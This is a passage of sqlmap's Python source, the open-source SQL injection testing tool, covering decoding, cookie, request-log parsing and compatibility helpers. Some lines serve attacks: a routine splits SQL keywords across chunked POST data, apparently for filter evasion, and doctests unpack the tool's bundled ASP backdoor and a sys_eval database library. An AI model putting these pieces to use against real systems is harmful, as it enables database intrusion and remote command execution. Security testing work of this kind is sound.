extractRegexResult(r"http(s)?://\[(?P.+)\]", url) elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): retVal = "[%s]" % retVal return retVal def checkOldOptions(args): """ Checks for obsolete/deprecated options """ for _ in args: _ = _.split('=')[0].strip() if _ in OBSOLETE_OPTIONS: errMsg = "switch/option '%s' is obsolete" % _ if OBSOLETE_OPTIONS[_]: errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] raise SqlmapSyntaxException(errMsg) elif _ in DEPRECATED_OPTIONS: warnMsg = "switch/option '%s' is deprecated" % _ if DEPRECATED_OPTIONS[_]: warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] logger.warning(warnMsg) def checkSystemEncoding(): """ Checks for problematic encodings """ if sys.getdefaultencoding() == "cp720": try: codecs.lookup("cp720") except LookupError: errMsg = "there is a known Python issue (#1616979) related " errMsg += "to support for charset 'cp720'. Please visit " errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' " errMsg += "and follow the instructions to be able to fix it" logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" logger.warning(warnMsg) _reload_module(sys) sys.setdefaultencoding("cp1256") def evaluateCode(code, variables=None): """ Executes given python code given in a string form >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"] 1 """ try: exec(code, variables) except KeyboardInterrupt: raise except Exception as ex: errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) def serializeObject(object_): """ Serializes given object >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str True """ return base64pickle(object_) def unserializeObject(value): """ Unserializes object from given serialized form >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') 'foobar' """ return base64unpickle(value) if value else None def resetCounter(technique): """ Resets query counter for a given technique """ kb.counters[technique] = 0 def incrementCounter(technique): """ Increments query counter for a given technique """ kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ Returns query counter for a given technique >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED) 1 """ return kb.counters.get(technique, 0) def applyFunctionRecursively(value, function): """ Applies function recursively through list-like structures >>> applyFunctionRecursively([1, 2, [3, 4, [19]], -9], lambda _: _ > 0) [True, True, [True, True, [True]], False] """ if isListLike(value): retVal = [applyFunctionRecursively(_, function) for _ in value] else: retVal = function(value) return retVal def decodeDbmsHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation >>> decodeDbmsHexValue('3132332031') == u'123 1' True >>> decodeDbmsHexValue('31003200330020003100') == u'123 1' True >>> decodeDbmsHexValue('00310032003300200031') == u'123 1' True >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1' True >>> decodeDbmsHexValue('313233203') == u'123 ?' True >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] True >>> decodeDbmsHexValue('5.1.41') == u'5.1.41' True """ retVal = value def _(value): retVal = value if value and isinstance(value, six.string_types): value = value.strip() if len(value) % 2 != 0: retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) else: retVal = decodeHex(value) if not raw: if not kb.binaryField: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): try: retVal = retVal.decode("utf-16-le") except UnicodeDecodeError: pass elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): try: retVal = retVal.decode("utf-16-be") except UnicodeDecodeError: pass if not isinstance(retVal, six.text_type): retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) if u"\x00" in retVal: retVal = retVal.replace(u"\x00", u"") return retVal try: retVal = applyFunctionRecursively(value, _) except: singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) return retVal def extractExpectedValue(value, expected): """ Extracts and returns expected value by a given type >>> extractExpectedValue(['1'], EXPECTED.BOOL) True >>> extractExpectedValue('1', EXPECTED.INT) 1 >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None True """ if expected: value = unArrayizeValue(value) if isNoneValue(value): value = None elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) elif isinstance(value, six.string_types): value = value.strip().lower() if value in ("true", "false"): value = value == "true" elif value in ('t', 'f'): value = value == 't' elif value in ("1", "-1"): value = True elif value == '0': value = False else: value = None elif expected == EXPECTED.INT: try: value = int(value) except: value = None return value def hashDBWrite(key, value, serialize=False): """ Helper function for writing session data to HashDB """ if conf.hashDB: _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ retVal = None if conf.hashDB: _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal def resetCookieJar(cookieJar): """ Cleans cookies from a given cookie jar """ if not conf.loadCookies: cookieJar.clear() else: try: if not cookieJar.filename: infoMsg = "loading cookies from '%s'" % conf.loadCookies logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) content = re.sub("(?im)^#httpOnly_", "", content) lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html with openFile(filename, "w+b") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") if len(_) == 7: _[4] = FORCE_COOKIE_EXPIRATION_TIME f.write("\n%s" % "\t".join(_)) cookieJar.filename = filename cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: if getattr(cookie, "expires", MAX_INT) < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) cookieJar.clear_expired_cookies() if not cookieJar._cookies: errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) except Exception as ex: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%') True >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%') True >>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) True """ content = decloak(filename) parts = os.path.split(filename[:-1])[-1].split('.') prefix, suffix = parts[0], '.' + parts[-1] handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) with openFile(filename, "w+b", encoding=None) as f: f.write(content) return filename def prioritySortColumns(columns): """ Sorts given column names by length in ascending order while those containing string 'id' go first >>> prioritySortColumns(['password', 'userid', 'name']) ['userid', 'name', 'password'] """ def _(column): return column and re.search(r"^id|id$", column, re.I) is not None return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)) def getRequestHeader(request, name): """ Solving an issue with an urllib2 Request header case sensitivity # Reference: http://bugs.python.org/issue2275 >>> _ = lambda _: _ >>> _.headers = {"FOO": "BAR"} >>> _.header_items = lambda: _.headers.items() >>> getText(getRequestHeader(_, "foo")) 'BAR' """ retVal = None if request and request.headers and name: _ = name.upper() retVal = max(getBytes(value if _ == key.upper() else "") for key, value in request.header_items()) or None return retVal def isNumber(value): """ Returns True if the given value is a number-like object >>> isNumber(1) True >>> isNumber('0') True >>> isNumber('foobar') False """ try: float(value) except: return False else: return True def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level regarding the parentheses >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] 'FROM DUAL' >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] ',d;e' """ retVal = [] depth = 0 for index in xrange(len(expression)): if expression[index] == '(': depth += 1 elif expression[index] == ')': depth -= 1 elif depth == 0: if value.startswith('[') and value.endswith(']'): if re.search(value, expression[index:index + 1]): retVal.append(index) elif expression[index:index + len(value)] == value: retVal.append(index) return retVal def splitFields(fields, delimiter=','): """ Returns list of (0-depth) fields splitted by delimiter >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] """ fields = fields.replace("%s " % delimiter, delimiter) commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] def pollProcess(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ while process: dataToStdout(".") time.sleep(1) returncode = process.poll() if returncode is not None: if not suppress_errors: if returncode == 0: dataToStdout(" done\n") elif returncode < 0: dataToStdout(" process terminated by signal %d\n" % returncode) elif returncode > 0: dataToStdout(" quit unexpectedly with return code %d\n" % returncode) break def parseRequestFile(reqFile, checkParams=True): """ Parses WebScarab and Burp logs and adds results to the target URL list >>> handle, reqFile = tempfile.mkstemp(suffix=".req") >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" >>> _ = os.write(handle, content) >>> os.close(handle) >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) True """ def _parseWebScarabLog(content): """ Parses WebScarab logs (POST method not supported) """ if WEBSCARAB_SPLITTER not in content: return reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) if not method or not url: logger.debug("not a valid WebScarab log data") continue if method.upper() == HTTPMETHOD.POST: warnMsg = "POST requests from WebScarab logs aren't supported " warnMsg += "as their body content is stored in separate files. " warnMsg += "Nevertheless you can use -r to load them individually." logger.warning(warnMsg) continue if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, method, None, cookie, tuple()) def _parseBurpLog(content): """ Parses Burp logs """ if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() try: request = decodeBase64(request, binary=False) except (binascii.Error, TypeError): continue _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host): request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: request = match if isinstance(match, six.string_types) else match.group(1) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) if schemePort: scheme = schemePort.group(1) port = schemePort.group(2) request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) else: scheme, port = None, None if "HTTP/" not in request: continue if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M): continue getPostReq = False forceBody = False url = None host = None method = None data = None cookie = None params = False newline = None lines = request.split('\n') headers = [] for index in xrange(len(lines)): line = lines[index] if not line.strip() and index == len(lines) - 1: break line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None: data = "" params = True elif match: method = match.group(1) url = match.group(2) if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): params = True getPostReq = True # POST parameters elif data is not None and params: data += "%s%s" % (line, newline) # GET parameters elif "?" in line and "=" in line and ": " not in line: params = True # Headers elif re.search(r"\A\S+:", line): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") # Note: overriding values with --headers '...' match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") if match: key, value = match.groups() # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] port = extractRegexResult(r":(?P\d+)\Z", value) if port: host = value[:-(1 + len(port))] else: host = value # Avoid to add a static content length header to # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): forceBody = True params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True data = data.rstrip("\r\n") if data else data if getPostReq and (params or cookie or not checkParams): if not port and hasattr(scheme, "lower") and scheme.lower() == "https": port = "443" elif not scheme and port == "443": scheme = "https" if conf.forceSSL: scheme = "https" port = port or "443" if not host: errMsg = "invalid format of a request file" raise SqlmapSyntaxException(errMsg) if not url.startswith("http"): url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) scheme = None port = None if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) content = readCachedFileContent(reqFile) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) try: re.compile(conf.scope) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) for target in _parseBurpLog(content): yield target for target in _parseWebScarabLog(content): yield target def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' True >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar' True """ retVal = None if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg elif getattr(ex, "args", None): for candidate in ex.args[::-1]: if isinstance(candidate, six.string_types): retVal = candidate break if retVal is None: retVal = str(ex) elif not isinstance(ex, SqlmapBaseException): retVal = "%s: %s" % (type(ex).__name__, retVal) return getUnicode(retVal or "", encoding=encoding).strip() def safeVariableNaming(value): """ Returns escaped safe-representation of a given variable name that can be used in Python evaluated code >>> safeVariableNaming("class.id") == "EVAL_636c6173732e6964" True """ if value in keyword.kwlist or re.search(r"\A[^a-zA-Z]|[^\w]", value): value = "%s%s" % (EVALCODE_ENCODED_PREFIX, getUnicode(binascii.hexlify(getBytes(value)))) return value def unsafeVariableNaming(value): """ Returns unescaped safe-representation of a given variable name >>> unsafeVariableNaming("EVAL_636c6173732e6964") == "class.id" True """ if value.startswith(EVALCODE_ENCODED_PREFIX): value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) return value def firstNotNone(*args): """ Returns first not-None value from a given list of arguments >>> firstNotNone(None, None, 1, 2, 3) 1 """ retVal = None for _ in args: if _ is not None: retVal = _ break return retVal def removePostHintPrefix(value): """ Remove POST hint prefix from a given value (name) >>> removePostHintPrefix("JSON id") 'id' >>> removePostHintPrefix("id") 'id' """ return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) def chunkSplitPostData(data): """ Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) >>> random.seed(0) >>> chunkSplitPostData("SELECT username,password FROM users") '5;4Xe90\\r\\nSELEC\\r\\n3;irWlc\\r\\nT u\\r\\n1;eT4zO\\r\\ns\\r\\n5;YB4hM\\r\\nernam\\r\\n9;2pUD8\\r\\ne,passwor\\r\\n3;mp07y\\r\\nd F\\r\\n5;8RKXi\\r\\nROM u\\r\\n4;MvMhO\\r\\nsers\\r\\n0\\r\\n\\r\\n' """ length = len(data) retVal = "" index = 0 while index < length: chunkSize = randomInt(1) if index + chunkSize >= length: chunkSize = length - index salt = randomStr(5, alphabet=string.ascii_letters + string.digits) while chunkSize: candidate = data[index:index + chunkSize] if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I): chunkSize -= 1 else: break index += chunkSize retVal += "%x;%s\r\n" % (chunkSize, salt) retVal += "%s\r\n" % candidate retVal += "0\r\n\r\n" return retVal def checkSums(): """ Validate the content of the digest file (i.e. sha256sums.txt) >>> checkSums() True """ retVal = True if paths.get("DIGEST_FILE"): for entry in getFileItems(paths.DIGEST_FILE): match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) if match: expected, filename = match.groups() filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) if not checkFile(filepath, False): continue with open(filepath, "rb") as f: content = f.read() if not hashlib.sha256(content).hexdigest() == expected: retVal &= False break return retVal sqlmap-1.9.6/lib/core/compat.py000066400000000000000000000214311502261744200163630ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import binascii import functools import math import os import random import re import sys import time import uuid class WichmannHill(random.Random): """ Reference: https://svn.python.org/projects/python/trunk/Lib/random.py """ VERSION = 1 # used by getstate/setstate def seed(self, a=None): """Initialize internal state from hashable object. None or no argument seeds from current time or from an operating system specific randomness source if available. If a is not None or an int or long, hash(a) is used instead. If a is an int or long, a is used directly. Distinct values between 0 and 27814431486575L inclusive are guaranteed to yield distinct internal states (this guarantee is specific to the default Wichmann-Hill generator). """ if a is None: try: a = int(binascii.hexlify(os.urandom(16)), 16) except NotImplementedError: a = int(time.time() * 256) # use fractional seconds if not isinstance(a, int): a = hash(a) a, x = divmod(a, 30268) a, y = divmod(a, 30306) a, z = divmod(a, 30322) self._seed = int(x) + 1, int(y) + 1, int(z) + 1 self.gauss_next = None def random(self): """Get the next random number in the range [0.0, 1.0).""" # Wichman-Hill random number generator. # # Wichmann, B. A. & Hill, I. D. (1982) # Algorithm AS 183: # An efficient and portable pseudo-random number generator # Applied Statistics 31 (1982) 188-190 # # see also: # Correction to Algorithm AS 183 # Applied Statistics 33 (1984) 123 # # McLeod, A. I. (1985) # A remark on Algorithm AS 183 # Applied Statistics 34 (1985),198-200 # This part is thread-unsafe: # BEGIN CRITICAL SECTION x, y, z = self._seed x = (171 * x) % 30269 y = (172 * y) % 30307 z = (170 * z) % 30323 self._seed = x, y, z # END CRITICAL SECTION # Note: on a platform using IEEE-754 double arithmetic, this can # never return 0.0 (asserted by Tim; proof too long for a comment). return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0 def getstate(self): """Return internal state; can be passed to setstate() later.""" return self.VERSION, self._seed, self.gauss_next def setstate(self, state): """Restore internal state from object returned by getstate().""" version = state[0] if version == 1: version, self._seed, self.gauss_next = state else: raise ValueError("state with version %s passed to " "Random.setstate() of version %s" % (version, self.VERSION)) def jumpahead(self, n): """Act as if n calls to random() were made, but quickly. n is an int, greater than or equal to 0. Example use: If you have 2 threads and know that each will consume no more than a million random numbers, create two Random objects r1 and r2, then do r2.setstate(r1.getstate()) r2.jumpahead(1000000) Then r1 and r2 will use guaranteed-disjoint segments of the full period. """ if n < 0: raise ValueError("n must be >= 0") x, y, z = self._seed x = int(x * pow(171, n, 30269)) % 30269 y = int(y * pow(172, n, 30307)) % 30307 z = int(z * pow(170, n, 30323)) % 30323 self._seed = x, y, z def __whseed(self, x=0, y=0, z=0): """Set the Wichmann-Hill seed from (x, y, z). These must be integers in the range [0, 256). """ if not type(x) == type(y) == type(z) == int: raise TypeError('seeds must be integers') if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256): raise ValueError('seeds must be in range(0, 256)') if 0 == x == y == z: # Initialize from current time t = int(time.time() * 256) t = int((t & 0xffffff) ^ (t >> 24)) t, x = divmod(t, 256) t, y = divmod(t, 256) t, z = divmod(t, 256) # Zero is a poor seed, so substitute 1 self._seed = (x or 1, y or 1, z or 1) self.gauss_next = None def whseed(self, a=None): """Seed from hashable object's hash code. None or no argument seeds from current time. It is not guaranteed that objects with distinct hash codes lead to distinct internal states. This is obsolete, provided for compatibility with the seed routine used prior to Python 2.1. Use the .seed() method instead. """ if a is None: self.__whseed() return a = hash(a) a, x = divmod(a, 256) a, y = divmod(a, 256) a, z = divmod(a, 256) x = (x + a) % 256 or 1 y = (y + a) % 256 or 1 z = (z + a) % 256 or 1 self.__whseed(x, y, z) def patchHeaders(headers): if headers is not None and not hasattr(headers, "headers"): if isinstance(headers, dict): class _(dict): def __getitem__(self, key): for key_ in self: if key_.lower() == key.lower(): return super(_, self).__getitem__(key_) raise KeyError(key) def get(self, key, default=None): try: return self[key] except KeyError: return default headers = _(headers) headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] return headers def cmp(a, b): """ >>> cmp("a", "b") -1 >>> cmp(2, 1) 1 """ if a < b: return -1 elif a > b: return 1 else: return 0 # Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py def choose_boundary(): """ >>> len(choose_boundary()) == 32 True """ retval = "" try: retval = uuid.uuid4().hex except AttributeError: retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) return retval # Reference: http://python3porting.com/differences.html def round(x, d=0): """ >>> round(2.0) 2.0 >>> round(2.5) 3.0 """ p = 10 ** d if x > 0: return float(math.floor((x * p) + 0.5)) / p else: return float(math.ceil((x * p) - 0.5)) / p # Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ def cmp_to_key(mycmp): """Convert a cmp= function into a key= function""" class K(object): __slots__ = ['obj'] def __init__(self, obj, *args): self.obj = obj def __lt__(self, other): return mycmp(self.obj, other.obj) < 0 def __gt__(self, other): return mycmp(self.obj, other.obj) > 0 def __eq__(self, other): return mycmp(self.obj, other.obj) == 0 def __le__(self, other): return mycmp(self.obj, other.obj) <= 0 def __ge__(self, other): return mycmp(self.obj, other.obj) >= 0 def __ne__(self, other): return mycmp(self.obj, other.obj) != 0 def __hash__(self): raise TypeError('hash not implemented') return K # Note: patch for Python 2.6 if not hasattr(functools, "cmp_to_key"): functools.cmp_to_key = cmp_to_key if sys.version_info >= (3, 0): xrange = range buffer = memoryview else: xrange = xrange buffer = buffer def LooseVersion(version): """ >>> LooseVersion("1.0") == LooseVersion("1.0") True >>> LooseVersion("1.0.1") > LooseVersion("1.0") True >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") True >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") True >>> LooseVersion("foobar") > LooseVersion("1.0") False >>> LooseVersion("1.0") > LooseVersion("foobar") False >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") True >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") 8.000022 """ match = re.search(r"\A(\d[\d.]*)", version or "") if match: result = 0 value = match.group(1) weight = 1.0 for part in value.strip('.').split('.'): if part.isdigit(): result += int(part) * weight weight *= 1e-3 else: result = float("NaN") return result sqlmap-1.9.6/lib/core/convert.py000066400000000000000000000324211502261744200165610ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import cPickle as pickle except: import pickle import base64 import binascii import codecs import json import re import sys import time from lib.core.bigarray import BigArray from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL from lib.core.settings import PICKLE_PROTOCOL from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six from thirdparty.six import unichr as _unichr from thirdparty.six.moves import collections_abc as _collections try: from html import escape as htmlEscape except ImportError: from cgi import escape as htmlEscape def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] True """ retVal = None try: retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: retVal = encodeBase64(pickle.dumps(value), binary=False) except: retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False) return retVal def base64unpickle(value): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object True """ retVal = None try: retVal = pickle.loads(decodeBase64(value)) except TypeError: retVal = pickle.loads(decodeBase64(bytes(value))) return retVal def htmlUnescape(value): """ Returns (basic conversion) HTML unescaped value >>> htmlUnescape('a<b') == 'a'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) for code, value in replacements: retVal = retVal.replace(code, value) try: retVal = re.sub(r"&#x([^ ;]+);", lambda match: _unichr(int(match.group(1), 16)), retVal) except (ValueError, OverflowError): pass return retVal def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() def filterNone(values): # Cross-referenced function return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values def isListLike(value): # Cross-referenced function return isinstance(value, (list, tuple, set, BigArray)) def shellExec(cmd): # Cross-referenced function raise NotImplementedError def jsonize(data): """ Returns JSON serialized data >>> jsonize({'foo':'bar'}) '{\\n "foo": "bar"\\n}' """ return json.dumps(data, sort_keys=False, indent=4) def dejsonize(data): """ Returns JSON deserialized data >>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'} True """ return json.loads(data) def rot13(data): """ Returns ROT13 encoded/decoded text >>> rot13('foobar was here!!') 'sbbone jnf urer!!' >>> rot13('sbbone jnf urer!!') 'foobar was here!!' """ # Reference: https://stackoverflow.com/a/62662878 retVal = "" alphabit = "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ" for char in data: retVal += alphabit[alphabit.index(char) + 13] if char in alphabit else char return retVal def decodeHex(value, binary=True): """ Returns a decoded representation of provided hexadecimal value >>> decodeHex("313233") == b"123" True >>> decodeHex("313233", binary=False) == u"123" True """ retVal = value if isinstance(value, six.binary_type): value = getText(value) if value.lower().startswith("0x"): value = value[2:] try: retVal = codecs.decode(value, "hex") except LookupError: retVal = binascii.unhexlify(value) if not binary: retVal = getText(retVal) return retVal def encodeHex(value, binary=True): """ Returns a encoded representation of provided string value >>> encodeHex(b"123") == b"313233" True >>> encodeHex("123", binary=False) '313233' >>> encodeHex(b"123"[0]) == b"31" True """ if isinstance(value, int): value = six.unichr(value) if isinstance(value, six.text_type): value = value.encode(UNICODE_ENCODING) try: retVal = codecs.encode(value, "hex") except LookupError: retVal = binascii.hexlify(value) if not binary: retVal = getText(retVal) return retVal def decodeBase64(value, binary=True, encoding=None): """ Returns a decoded representation of provided Base64 value >>> decodeBase64("MTIz") == b"123" True >>> decodeBase64("MTIz", binary=False) '123' >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE") True >>> decodeBase64(b"MTIzNA") == b"1234" True >>> decodeBase64("MTIzNA") == b"1234" True >>> decodeBase64("MTIzNA==") == b"1234" True """ if value is None: return None padding = b'=' if isinstance(value, bytes) else '=' # Reference: https://stackoverflow.com/a/49459036 if not value.endswith(padding): value += 3 * padding # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications # Reference: https://perldoc.perl.org/MIME/Base64.html if isinstance(value, bytes): value = value.replace(b'-', b'+').replace(b'_', b'/') else: value = value.replace('-', '+').replace('_', '/') retVal = base64.b64decode(value) if not binary: retVal = getText(retVal, encoding) return retVal def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): """ Returns a decoded representation of provided Base64 value >>> encodeBase64(b"123") == b"MTIz" True >>> encodeBase64(u"1234", binary=False) 'MTIzNA==' >>> encodeBase64(u"1234", binary=False, padding=False) 'MTIzNA' >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True) 'A-B_CDE' """ if value is None: return None if isinstance(value, six.text_type): value = value.encode(encoding or UNICODE_ENCODING) retVal = base64.b64encode(value) if not binary: retVal = getText(retVal, encoding) if safe: padding = False # Reference: 